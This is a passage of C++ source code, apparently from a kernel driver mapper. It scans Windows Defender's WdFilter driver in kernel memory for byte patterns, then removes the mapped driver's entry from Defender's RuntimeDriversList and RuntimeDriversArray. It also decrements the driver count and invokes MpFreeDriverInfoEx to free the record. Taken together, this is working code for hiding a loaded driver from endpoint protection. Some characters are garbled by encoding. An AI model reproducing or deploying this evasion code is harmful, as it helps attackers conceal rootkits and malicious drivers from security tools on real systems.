FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\xFF\x05\x00\x00\x00\x00\x48\x39\x11", "xx????xxx"); if (!RuntimeDriversCountRef) { Log("[!] Failed to find WdFilter RuntimeDriversCount" << std::endl); return false; } // MpCleanupDriverInfo->MpFreeDriverInfoEx // The pattern only focus in the 0x8 offset and the possibility of the different order for the instructions /* 49 8B C9 mov rcx, r9 ; P 49 89 50 08 mov [r8+8], rdx E8 FB F0 FD FF call MpFreeDriverInfoEx 48 8B 0D FC AA FA FF mov rcx, cs:qword_1C0021BF0 E9 21 FF FF FF jmp loc_1C007701A */ auto MpFreeDriverInfoExRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?xx???????????x"); if (!MpFreeDriverInfoExRef) { /* 48 89 4A 08 mov [rdx+8], rcx 49 8B C8 mov rcx, r8 ; P E8 C3 58 FE FF call sub_1C0065308 48 8B 0D 44 41 FA FF mov rcx, cs:qword_1C0023B90 E9 39 FF FF FF jmp loc_1C007F98A */ MpFreeDriverInfoExRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\x00\x00\x00\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?x???x???????????x"); if (!MpFreeDriverInfoExRef) { Log("[!] Failed to find WdFilter MpFreeDriverInfoEx" << std::endl); return false; } else { Log("[+] Found WdFilter MpFreeDriverInfoEx with second pattern" << std::endl); } MpFreeDriverInfoExRef += 0x3; // adjust for next sum offset } MpFreeDriverInfoExRef += 0x3; // skip until call instruction RuntimeDriversList = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)RuntimeDriversList, 3, 7); uintptr_t RuntimeDriversList_Head = RuntimeDriversList - 0x8; uintptr_t RuntimeDriversCount = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)RuntimeDriversCountRef, 2, 6); uintptr_t RuntimeDriversArray = RuntimeDriversCount + 0x8; read(device_handle, RuntimeDriversArray, (uint64_t*)&RuntimeDriversArray, sizeof(uintptr_t)); uintptr_t MpFreeDriverInfoEx = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)MpFreeDriverInfoExRef, 1, 5); #endif auto ReadListEntry = [&](uintptr_t Address) -> LIST_ENTRY* { // Useful lambda to read LIST_ENTRY LIST_ENTRY* Entry; if (!read(device_handle, Address, (uint64_t*)&Entry, sizeof(LIST_ENTRY*))) return 0; return Entry; }; for (LIST_ENTRY* Entry = ReadListEntry(RuntimeDriversList_Head); Entry != (LIST_ENTRY*)RuntimeDriversList_Head; Entry = ReadListEntry((uintptr_t)Entry + (offsetof(struct _LIST_ENTRY, Flink)))) { UNICODE_STRING Unicode_String; if (read(device_handle, (uintptr_t)Entry + 0x10, (uint64_t*)&Unicode_String, sizeof(UNICODE_STRING))) { auto ImageName = std::make_unique((ULONG64)Unicode_String.Length / 2ULL + 1ULL); if (read(device_handle, (uintptr_t)Unicode_String.Buffer, (uint64_t*)ImageName.get(), Unicode_String.Length)) { if (wcsstr(ImageName.get(), kd_driver::GetDriverNameW().c_str())) { //remove from RuntimeDriversArray bool removedRuntimeDriversArray = false; PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10); for (int k = 0; k < 256; k++) { // max RuntimeDriversArray elements PVOID value = 0; read(device_handle, RuntimeDriversArray + (k * 8), (uint64_t*)&value, sizeof(PVOID)); if (value == SameIndexList) { PVOID emptyval = (PVOID)(RuntimeDriversCount + 1); // this is not count+1 is position of cout addr+1 write(device_handle, RuntimeDriversArray + (k * 8), (uint64_t*)&emptyval, sizeof(PVOID)); removedRuntimeDriversArray = true; break; } } if (!removedRuntimeDriversArray) { Log("[!] Failed to remove from RuntimeDriversArray" << std::endl); return false; } auto NextEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Flink))); auto PrevEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Blink))); write(device_handle, uintptr_t(NextEntry) + (offsetof(struct _LIST_ENTRY, Blink)), (uint64_t*)&PrevEntry, sizeof(LIST_ENTRY::Blink)); write(device_handle, uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), (uint64_t*)&NextEntry, sizeof(LIST_ENTRY::Flink)); // decrement RuntimeDriversCount ULONG current = 0; read(device_handle, RuntimeDriversCount, (uint64_t*)¤t, sizeof(ULONG)); current--; write(device_handle, RuntimeDriversCount, (uint64_t*)¤t, sizeof(ULONG)); // call MpFreeDriverInfoEx uintptr_t DriverInfo = (uintptr_t)Entry - 0x20; //verify DriverInfo Magic USHORT Magic = 0; read(device_handle, DriverInfo, (uint64_t*)&Magic, sizeof(USHORT)); if (Magic != 0xDA18) { Log("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent bsod" << std::endl); } else { func_call(device_handle, (void*)MpFreeDriverInfoEx, nullptr, DriverInfo); } Log("[+] WdFilterDriverList Cleaned: " << ImageName << std::endl); return true; } } } } return false; }